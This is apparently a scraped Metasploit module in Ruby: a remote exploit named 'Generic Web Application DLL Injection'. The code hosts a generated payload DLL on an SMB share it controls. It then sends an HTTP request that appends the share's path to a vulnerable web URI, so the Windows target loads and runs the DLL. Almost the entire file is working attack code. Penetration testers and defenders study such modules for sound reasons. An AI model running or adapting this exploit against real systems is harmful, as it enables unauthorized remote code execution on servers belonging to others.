89 lines
2.6 KiB
Ruby
89 lines
2.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::SMB::Server::Share
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Generic Web Application DLL Injection',
|
|
'Description' => %q{
|
|
This is a general-purpose module for exploiting conditions where a HTTP request
|
|
triggers a DLL load from an specified SMB share. This module serves payloads as
|
|
DLLs over an SMB service and allows an arbitrary HTTP URL to be called that would
|
|
trigger the load of the DLL.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Matthew Hall <hallm[at]sec-1.com>'
|
|
],
|
|
'Platform' => 'win',
|
|
'Privileged' => false,
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2048,
|
|
'DisableNops' => true
|
|
},
|
|
'References' =>
|
|
[
|
|
['CWE', '427']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
|
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
|
],
|
|
'DefaultTarget' => 0, # Default target is 32-bit as we usually inject into 32bit processes
|
|
'DisclosureDate' => 'Mar 04 2015'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILE_NAME', [false, 'DLL File name to share (Default: random .dll)']),
|
|
OptString.new('TARGETURI', [true, 'Path to vulnerable URI (The shared location will be added at the end)', '/cgi-bin/function.php?argument=' ]),
|
|
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
|
|
])
|
|
|
|
deregister_options('FILE_CONTENTS')
|
|
end
|
|
|
|
def setup
|
|
super
|
|
|
|
self.file_contents = generate_payload_dll
|
|
self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
|
|
print_status("File available on #{unc}...")
|
|
end
|
|
|
|
def primer
|
|
sploit = target_uri.to_s
|
|
sploit << unc
|
|
|
|
print_status("Trying to ")
|
|
send_request_raw({
|
|
'method' => 'GET',
|
|
'uri' => sploit
|
|
}, 3)
|
|
end
|
|
|
|
def exploit
|
|
begin
|
|
Timeout.timeout(datastore['SMB_DELAY']) {super}
|
|
rescue Timeout::Error
|
|
# do nothing... just finish exploit and stop smb server...
|
|
end
|
|
end
|
|
end
|